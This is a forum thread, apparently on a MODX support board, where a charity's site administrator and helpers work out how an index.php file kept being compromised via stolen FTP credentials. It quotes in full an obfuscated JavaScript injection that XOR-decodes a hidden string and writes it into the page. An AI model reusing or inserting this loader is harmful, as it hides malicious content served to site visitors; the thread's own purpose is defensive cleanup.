Could this be a hosting issue?

It looks OK to me but I would recommend replacing it once you find your version from MODx Manager download the version zip and then replace your website /index.php with the one from the zip normally modx/index.php

Thanks

I have replaced it and the website is now fine, so thanks for that. The one thing I did notice is the new file does not contain this code at the start of it:

<script language='javascript'>var qTbPndRDkwJlutcricKxUxEtI='';nfSlyjfZ='AsjuH';var lYjMVPyBNRjWFrj='elPQGexZleNfOzzJAaMkkzlTqyRybfPKNhztREiXZXUKmvXG';JlrmrXCfprpeygyuxRDrVtG='ptaWQnnPGeEyikhb';var bRtTmUNExebnOgU=0;ZeUEyxvnsz='lJJLhKl';var trpZvTo='%50%39%37%35%04%15%3F%4C%16%3C%05%72%58%12%3E%35%11%77%44%44%14%09%26%5C%18%3E%15%07%14%7E%28%21%05%55%1D%3C%6B%0A%3F%33%67%31%2E%0B%17%2D%2B%11%4E%70%37%35%04%15%3F%0E%0A%3C%02%2A%08%47%68%71%43%6D%18%08%08%03%38%1D%10%3C%1E%5F%44%3E%24%6C%48%12%11%3B%22%01%2C%67%7A%64%69%4D%01%31%23%11%04%6D%73%76%47%58%32%1F%15%2F%05%2A%47%58%7B%63%41%3B%18%1B%1B%0F%31%4C%5B%63%5B%42%0B%31%39%29%01%14%03%3B%21%1D%30%67%7A%65%69%4D%1B%39%35%02%05%3E%39%22%0C%1F%32%18%58%6C%56%6D%44%46%65%28%07%3F%0A%06%1F%52';rKaiufozUtGqm='nxPLuYyllyPDEaUxwqdgjA';var XpShCCqY=trpZvTo.length/3;olVZDdvX='wKkirrrGELpwxommU';trpZvTo=unescape(trpZvTo);NboYhTCVCsOdoCxVY='adkJKupWDyawxKdOAhuAp';for(qwGBpyCXhymWTcx=0;qwGBpyCXhymWTcx<XpShCCqY;qwGBpyCXhymWTcx++){bRtTmUNExebnOgU++;if(lYjMVPyBNRjWFrj.length<=bRtTmUNExebnOgU) bRtTmUNExebnOgU=0;NeaUOYm=trpZvTo.charCodeAt(qwGBpyCXhymWTcx); CNaiQZypYuZY='HOxWBcEYDAd'; if(lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU)!=NeaUOYm) NeaUOYm^=lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU); wXZmQJMcXzmFYsG='vjKCobpXTMACmaYP';qTbPndRDkwJlutcricKxUxEtI+=String.fromCharCode(NeaUOYm);} UHUIuKjSIUSLHhmHxsNmuvlLS='eSDScOVMJLmHqsKjxlgnBmh';document.write(qTbPndRDkwJlutcricKxUxEtI);DcpztRuFfdPoCfYLgQDH='gVGNXjQtrLqpMsXlDGFu';</script>

Can't work out what it is at the moment. I don't suppose you have any ideas do you? I can see it is charCode but not what it's function is.

Thanks

Hmm, I can't see any bad code in the above pasted code could you email me your index.php which you found this morning before replacing it to aaron [at] onesmarthost.co.uk.

Also check the last modified dates of your /manager/index.php and manager/includes/index.php

Thanks

Well what ever that code is, it has reappeared again tonight. The same file was modified at 8.41pm. Removed just that piece of code and the site is now back up and running. Any idea of an easy way of working out what the code is?

I did not save it the first time. I just copied and pasted the replacement code in. This time I just took the piece that was added out.

When you fix this, I'd suggest changing all your passwords (cPanel, FTP, DB, MODX) if you haven't done so already. Use strong passwords for all of them (don't use any words that are in a dictionary or strings that a hacker might guess or find out about you -- pet names, birthdays, etc.).

It's possible that a hacker has stolen or guessed one or more of them.

Hi,

Did you check the index.php file in other directories to see if they have changed? you either have had something capture your FTP password from a key logger on your computer or the hacker has planted script files on your website in random locations via a out of date plugin.

I would also advise you to contact your hosting company to check their FTP logs to see if your site was accessed around that time which should give you a definite answer to the entry point.

Aaron

Well the one thing I do know is they are not coming in via MODx. I am going to start changing all the passwords including that one just to be sure. Will also check out the FTP logs.

I have also discovered the website was installed with Google Analytics when it was made but the charity does not appear to have been given the password. Found it installed under 'Chunks'. I want to go through that data to see what was happening on the site at the time of the file being edited.

Where do I find the manager/index.php and manager/includes/index.php files? I have been having a good hunt for them but can't seem to find the right 'tab' in MODx manager to show them.

Hi Aaron

I have gone into the control panel. The site is on a virtual server and it's a company whose panel I am not familiar with as I use different companies. Anyway I have found the usage statics for ftp which must be what you meant by ftp logs. I can look up months that have completed only. Checked October and I can see 3 dates someone was on there. One was the date the problem occurred the first time. Second date the day the problem went away. Third date the day the problem came back again.

I only know one of the times the code was added but that is one of the times that is also listed, ie hour 19.00. The file on that date was changed at 19.55! So that all ties in.

It also shows me to IP addresses. One IP address was used twice the other one just once. So again that ties in. I did a search on Google for the IP addresses and traced one to Germany to a company and another to the UK to a company.

I would be interested to know what your thoughts are now. I need to change the ftp password for sure. At the moment I don't even know it myself as I was never given it as I have always gone through the MODx interface.

Thanks
Stu

Hi Stuart,

Sounds like you have found the route cause, with regards to your previous question how do you find /manager/index.php etc you can find these files via FTP and browsing your site with an FTP program.

I would recommend you reset your FTP Password to something strong, then connect to your site via FTP and just check each sub folder and inspect the index.php files for their last modified dates as some more may be affected.

Also run a full virus scan on your computer just to make sure you don't have a key logger or virus.

thanks

Thanks.

I am just about to get the password for the FTP. I also know how they got the ftp password as well. Not from me by the way! lol. I am also going to have to reset the control panel one as well as I know they will have that.

Would really like to work out what that code is as that would give me more idea of what they are up to.